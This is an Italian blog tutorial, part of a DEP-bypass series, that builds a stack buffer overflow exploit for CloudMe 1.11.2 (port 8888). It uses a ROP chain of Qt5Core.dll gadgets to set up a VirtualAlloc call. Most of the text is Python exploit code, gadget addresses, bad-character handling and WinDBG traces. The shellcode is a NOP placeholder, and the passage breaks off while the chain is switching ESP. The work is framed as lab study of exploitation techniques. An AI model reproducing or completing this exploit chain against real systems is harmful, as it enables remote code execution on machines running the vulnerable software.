DEP Bypass III - Cloud Me 1.11.2 - VirtualAlloc

Tempo di lettura: 29 minuti
Data pubblicazione: June 26, 2023

Introduzione

Terzo articolo della serie DEP Bypass, target: Cloud Me 1.11.2.

Altri post in questa serie:

  1. DEP Bypass I - Vulnserver TRUN
  2. DEP Bypass II - DEP Bypass II - EasyRMtoMP3Converter

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

CloudMe

CloudMe è un servizio di Cloud che permette di salvare e scaricare file. Una volta eseguito si mette in ascolto sulla porta 8888 e la versione 1.11.2 contiene una vulnerabilità di tipo Stack Buffer Overflow.

Step 1. Crash

Il template del crash lo prendiamo da ExploitDB in modo da velocizzare la ricerca della vulnerabilità.

from struct import pack
import socket

#\x00\x0A\x0D
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT)  # vulnserver


crash = 2000  # change me
offset = 1052


payload = b"A"*offset
payload += b"B"*4
payload += b"C"*(crash - len(payload))

with socket.create_connection(target) as sock:

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Ora che sappiamo il punto di crash, iniziamo a cercare i moduli su cui possiamo contare e i gadget ROP associati.

0:000> !py mona modules -cm aslr=false,os=false,rebase=false
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py modules -cm aslr=false,os=false,rebase=false

-----------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
0x68a80000 | 0x69055000 | 0x005d5000 | False  | False   | False |  False   | False  | 5.9.0.0 [Qt5Core.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)
0x6fe40000 | 0x6ffbe000 | 0x0017e000 | False  | False   | False |  False   | False  | -1.0- [libstdc++-6.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\libstdc++-6.dll)
0x00400000 | 0x00831000 | 0x00431000 | False  | False   | False |  False   | False  | -1.0- [CloudMe.exe] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\CloudMe.exe)
0x6d9c0000 | 0x6da0c000 | 0x0004c000 | False  | False   | False |  False   | False  | 5.9.0.0 [Qt5Sql.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Sql.dll)
0x69900000 | 0x69ac1000 | 0x001c1000 | False  | False   | False |  False   | False  | 5.9.0.0 [Qt5Network.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Network.dll)
0x6eb40000 | 0x6eb64000 | 0x00024000 | False  | False   | False |  False   | False  | -1.0- [libgcc_s_dw2-1.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\libgcc_s_dw2-1.dll)
0x64b40000 | 0x64b5b000 | 0x0001b000 | False  | False   | False |  False   | False  | 1.0.0.0 [libwinpthread-1.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\libwinpthread-1.dll)
0x61b40000 | 0x62136000 | 0x005f6000 | False  | False   | False |  False   | False  | 5.9.0.0 [Qt5Gui.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll)
0x66e00000 | 0x66e3d000 | 0x0003d000 | False  | False   | False |  False   | False  | 5.9.0.0 [Qt5Xml.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Xml.dll)
-----------------------------------------------------------------------------------------------------------------------------------------

Direi che ne abbiamo in abbondanza, non avremo problemi nel trovare i gadget.

!py mona rop -m Qt5Core -cpb '\x00\x0A\x0D'

Poichè vogliamo exploitarlo utilizzando VirtualAlloc, vediamo se negli import di IDA c’è la funzione scelta

Step 2. Virtual Alloc

La funzione Virtual Alloc è definita in questo modo:

LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
_In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
_In_      SIZE_T dwSize,           =>    dwSize (0x1)
_In_      DWORD flAllocationType,  =>    flAllocationType (0x1000 - MEM_COMMIT)
_In_      DWORD flProtect          =>    flProtect (0x40 - EXECUTE_READWRITE)
);

Quindi il template che utilizzeremo sarà:

rop += struct.pack("<L", 0x66666666) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
rop += struct.pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += struct.pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
rop += struct.pack("<L", 0x33333333) # dummy dwSize  - 0x1
rop += struct.pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
rop += struct.pack("<L", 0x11111111) # dummy flProtect - 0x40

Dove:

  1. 0x66666666 sarà sostituito dal puntatore trovato nello IAT da IDA (0x690398A0)
  2. 0x55555555 sarà sostituito dal puntatore alla posizione del nostro shellcode
  3. 0x44444444 sarà sostituito dal puntatore alla posizione del nostro shellcode
  4. 0x33333333 sarà sostituito da 0x1 (in pratica tutta la pagina sarà resa eseguibile)
  5. 0x22222222 sarà sostituito da 0x1000 (l’opcode per MEM_COMMIT)
  6. 0x11111111 sarà sostituito da 0x40 (l’opcode per PAGE_EXECUTE_READWRITE)

Modifico lo script inserendo le informazioni trovate (puntatore a VA e un RET come NOP come primo gadget della ROP chain) e con una struttura definita:

from struct import pack
import socket

#\x00\x0A\x0D
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT)  # vulnserver


crash = 2000  # change me
offset = 1052

shellcode = b"\x90" * 500

rop_nop = pack("<I",0x68ee5174) # RETN

rop = pack("<I",0x68ee5174) # temporary

rop += pack("<L", 0x690398A0) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
rop += pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
rop += pack("<L", 0x33333333) # dummy dwSize  - 0x1
rop += pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40

rop += b"B" * (700-len(rop))

payload = b"A"*offset
payload += rop_nop
payload += rop
payload += shellcode
payload += b"C"*(crash - len(payload))

with socket.create_connection(target) as sock:

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Come vedete ho già inserito alcune lunghezze “fixed”, come la lunghezza del rop e dello shellcode in modo da sapere già dove sarà la posizione dello shellcode senza dover cambiare alcuni gadget successivamente. Nel caso in cui la rop chain sarà più lunga di 700 eventualmente modificheremo quei valori.

Step 3. Salvare ESP

Il prossimo step è quello di salvare ESP in modo da sapere dove inizia più o meno la nostra chain.

0x68c7f391 :  # PUSH ESP # POP EBX # POP ESI # RETN    ** [Qt5Core.dll] **  

Successivamente copiamo EBX in EAX e salviamo EAX in EDI.

0x68bbd10f :  # MOV EAX,EBX # POP EBX # RETN 0x04    ** [Qt5Core.dll] **

0x68f37dbb :  # MOV EDI,EAX # RETN    ** [Qt5Core.dll] ** 

In questo modo abbiamo il valore di ESP salvato sia in EAX che in EDI, nel caso ci serva nelle successive operazioni. Aggiorniamo lo script inserendo questi gadget con i relativi padding per i POP in eccesso e il RETN 0x04

Rilanciamo WinDBG con un breakpoint sul ROP NOP e step by step procediamo vedendo se è tutto ok.

0:016> bp 0x68ee5174
0:016> g
Breakpoint 0 hit
eax=00000001 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68ee5174 esp=00a3d3d0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!qt_sine_table+0x72d74:
68ee5174 c3              ret
0:000> p
eax=00000001 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f391 esp=00a3d3d4 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b61:
68c7f391 54              push    esp
0:000> p
eax=00000001 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f392 esp=00a3d3d0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b62:
68c7f392 5b              pop     ebx
0:000> p
eax=00000001 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f393 esp=00a3d3d4 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b63:
68c7f393 5e              pop     esi
0:000> p
eax=00000001 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f394 esp=00a3d3d8 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b64:
68c7f394 c3              ret
0:000> p
eax=00000001 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68bbd10f esp=00a3d3dc ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN9QUrlQuery15removeQueryItemERK7QString+0x233f:
68bbd10f 89d8            mov     eax,ebx
0:000> p
eax=00a3d3d4 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68bbd111 esp=00a3d3dc ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN9QUrlQuery15removeQueryItemERK7QString+0x2341:
68bbd111 5b              pop     ebx
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68bbd112 esp=00a3d3e0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN9QUrlQuery15removeQueryItemERK7QString+0x2342:
68bbd112 c20400          ret     4
0:000> p
Breakpoint 0 hit
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68ee5174 esp=00a3d3e8 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!qt_sine_table+0x72d74:
68ee5174 c3              ret
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68f37dbb esp=00a3d3ec ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN8qfloat1613mantissatableE+0x4c49b:
68f37dbb 8bf8            mov     edi,eax
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=00a3d3d4
eip=68f37dbd esp=00a3d3ec ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN8qfloat1613mantissatableE+0x4c49d:
68f37dbd c3              ret
0:000> dd eax
00a3d3d4  41414141 68bbd10f 41414141 68ee5174
00a3d3e4  68ee5174 68f37dbb 690398A0 55555555
00a3d3f4  44444444 33333333 22222222 11111111
00a3d404  42424242 42424242 42424242 42424242
00a3d414  42424242 42424242 42424242 42424242
00a3d424  42424242 42424242 42424242 42424242
00a3d434  42424242 42424242 42424242 42424242
00a3d444  42424242 42424242 42424242 42424242

Ottimo, ora abbiamo il valore di ESP in EAX ed EDI.

Step 4. Saltare il placeholder

Poichè abbiamo di mezzo il template di VirtualAlloc, dobbiamo saltarlo per procedere con la nostra ROP. Inseriamo il gadget adatto:

0x68b402ce:  # ADD ESP,1C # RETN    ** [Qt5Core.dll] **  

e aggiorniamo lo script

....
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += pack("<I",0x68f37dbb)  # MOV EDI,EAX # RETN    ** [Qt5Core.dll] ** 

#step 2 - jumping over template
rop += pack("<I",0x68b402ce)  # ADD ESP,1C # RETN    ** [Qt5Core.dll] **  

#template
rop += pack("<L", 0x690398A0) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
rop += pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
rop += pack("<L", 0x33333333) # dummy dwSize  - 0x1
rop += pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40

rop += b"\x90"*4 # padding
rop += rop_nop

rop += b"B" * (700-len(rop))
.....

Ed esegiamo di nuovo con un breakpoint su ADD ESP,1C

0:016> bp 0x68b402ce
0:016> g
Breakpoint 0 hit
eax=00a3d3d4 ebx=41414141 ecx=0c77c7c4 edx=02630000 esi=41414141 edi=00a3d3d4
eip=68b402ce esp=00a3d3f0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Qt5Core!ZN18QCommandLineParser24clearPositionalArgumentsEv+0x2e:
68b402ce 83c41c          add     esp,1Ch
0:000> dd esp+1c L4
00a3d40c  68ee5174 42424242 42424242 42424242
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=0c77c7c4 edx=02630000 esi=41414141 edi=00a3d3d4
eip=68b402d1 esp=00a3d40c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
Qt5Core!ZN18QCommandLineParser24clearPositionalArgumentsEv+0x31:
68b402d1 c3              ret
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=0c77c7c4 edx=02630000 esi=41414141 edi=00a3d3d4
eip=68ee5174 esp=00a3d410 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
Qt5Core!qt_sine_table+0x72d74:
68ee5174 c3              ret
0:000> dd esp L10
00a3d410  42424242 42424242 42424242 42424242
00a3d420  42424242 42424242 42424242 42424242
00a3d430  42424242 42424242 42424242 42424242
00a3d440  42424242 42424242 42424242 4242424

Ora non ci rimane che partire con la sostituzione dei placeholder.

Step 6. Patching VirtualAlloc

Vediamo che EAX è a 28 byte dal puntatore a VA, quindi dobbiamo incrementarlo

0:000> dd eax+4+4+4+4+4+4+4
00a3d3f0  690398A0 55555555 44444444 33333333
00a3d400  22222222 11111111 90909090 68ee5174
00a3d410  42424242 42424242 42424242 42424242
00a3d420  42424242 42424242 42424242 42424242
00a3d430  42424242 42424242 42424242 42424242
00a3d440  42424242 42424242 42424242 42424242
00a3d450  42424242 42424242 42424242 42424242
00a3d460  42424242 42424242 42424242 42424242

Visto che sono solo 28 utilizzo INC EAX:

0x68f26a35 :  # INC EAX # RETN

Una volta che punta a VA, salvo il suo valore in ECX:

0x68be726b  # xchg eax, ecx; ret;  ** [Qt5Core.dll] ** 
0x6ab445f9  # mov eax, ecx; ret;  ** [Qt5Core.dll] ** 

Estraggo il puntatore di VA e lo metto in EAX:

0x6aa8d803  # mov eax, dword ptr [eax]; ret;  ** [Qt5Core.dll] ** 
0x6aa8d803  # mov eax, dword ptr [eax]; ret;  ** [Qt5Core.dll] ** 

Ed infine porto il valore appena estratto in ECX, che punta all’inizio del nostro template

0x68c7ffe6  # mov dword ptr [ecx], eax; ret 4;  ** [Qt5Core.dll] ** 

Aggiorno lo script, metto breakpoint e lancio

....
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40

rop += b"\x90"*4 # padding
# step 3 - patching address virtualprotect
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN   ** [Qt5Core.dll] ** 
.....
rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret;  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;  ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04


rop += b"B" * (700-len(rop))
....

E VirtualAlloc ce l’abbiamo. Passiamo al prossimo

Step 6.Patching Return Address

Ora ECX punta all’inizio del nostro template, quindi utilizzeremo quello come variabile d’incremento. Dobbiamo però calcolare la differenza tra la nostra ROP e l’inizio dello shellcode. Cercandolo su ESP vediamo che sta a 624 byte (non importa essere precisissimi, le B poi le sostituiremo con \x90 che fungeranno da sled).

0:000> dd ecx+0n624 
00a3d660  42424242 42424242 42424242 42424242
00a3d670  42424242 42424242 42424242 42424242
00a3d680  42424242 42424242 42424242 90909090
00a3d690  90909090 90909090 90909090 90909090
00a3d6a0  90909090 90909090 90909090 90909090
00a3d6b0  90909090 90909090 90909090 90909090
00a3d6c0  90909090 90909090 90909090 90909090
00a3d6d0  90909090 90909090 90909090 90909090

Quindi, incrementiamo ECX di 4

0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 

Lo spostiamo in EAX, usiamo EDX come variabile d’appoggio per fare la somma tra EAX ed EDX ed infine sommiamo. Ho negato 624 perchè conterebbe bad char altrimenti (0x0).

0x6ab445f9  # mov eax, ecx; ret;  ** [Qt5Core.dll] ** 
0x68a8174b  # XOR EDX,EDX # RETN    ** [Qt5Core.dll] ** 
0x68ae2632  # POP EDX # RETN     ** [Qt5Core.dll] ** 
0xfffffd90 # -624
0x68bd5fe4  # NEG EDX # RETN 0x0C  ** [Qt5Core.dll] ** 
0x68ad91ab  # add eax, edx; ret;  ** [Qt5Core.dll] ** 

Come ultimo, usiamo la stessa istruzione di prima per inserire il valore di EAX (il puntatore al nostro shellcode) all’interno di ECX, che punta a 0x55555555

0x68c7ffe6  # mov dword ptr [ecx], eax; ret 4;

Aggiorno lo script, metto breakpoint e rilancio:

.....
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;  ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

# patching return address
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret; ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68a8174b)  # XOR EDX,EDX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68ae2632)  # POP EDX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0xfffffd90) # -624
rop += pack('<L', 0x68bd5fe4)  # NEG EDX # RETN 0x0C  ** [Qt5Core.dll] ** 
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += pack('<L', 0x68ad91ab)  # add eax, edx; ret; ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04


rop += b"B" * (700-len(rop))
.....

Step 7.Patching Shellcode Address

Questo patching è abbastanza immediato. Abbiamo l’indirizzo dello shellcode su EAX ed ECX è a 4 bytes dal puntatore. Ci basta incrementarlo di 4 e fare la sostituzione di 0x44444444

0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN   ** [Qt5Core.dll] ** 
0x68c7ffe6  # mov dword ptr [ecx], eax; ret 4;  ** [Qt5Core.dll] ** 

Aggiorno e rilancio:

.....
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;  ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching lpaddress
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04


rop += b"B" * (700-len(rop))
.....

Step 8.Patching dWSize

Il parametro dWsize deve valere 0x1, quindi ci serve un registro in cui inserirlo. Dovremo negarlo perchè 0x1 contiene badchar (0x0) e non può essere inserito cosi come è.

Incrementiamo ECX di 4

0x68fe0383  # INC ECX # RETN  ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN  ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN  ** [Qt5Core.dll] ** 
0x68fe0383  # INC ECX # RETN  ** [Qt5Core.dll] ** 

Usiamo EAX come registro d’appoggio per 0xffffffff (-1) e poi lo neghiamo

0x68c6092e  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
0x68f21874  # POP EAX # RETN     ** [Qt5Core.dll] ** 
0xffffffff
0x68cef5b2  # NEG EAX # RETN   ** [Qt5Core.dll] ** 

Ed infine facciamo il patching

rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 

Aggiorno e rilancio:

....
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching dWsize
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f21874)  # POP EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0xffffffff)
rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

rop += b"B" * (700-len(rop))
....

Step 9.Patching flAllocationType

Il parametro flAllocationType invece dev’essere 0x1000. L’operazione è pressochè identica, cambia solo il valore di EAX che sarà -1001 (non -1000 perchè contiene bad char)

.....
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching flAllocationType - 0x1000
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f21874)  # POP EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0xffffefff)  # -1001
rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68ab39b8) # DEC EAX # RETN   ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

rop += b"B" * (700-len(rop))
.....

Step 10.Patching flProtect

Uguale per flProtect

....
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching flProtect  - 0x40
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f21874)  # POP EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0xffffffc0)  # -40
rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

rop += b"B" * (700-len(rop))
....

Step 11.Switch con ESP

Ora non ci rimane che tornare alla chiamata a Virtual Alloc, rimettere ESP su quell’indirizzo e modificare il flusso d’esecuzione. Poichè ECX è il registro con il valore più vicino, lo spostiamo in EAX che decrementiamo fino a raggiungere VA. Infine switchiamo EAX con ESP:

......
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] ** 
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#jumping to esp
rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret; ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
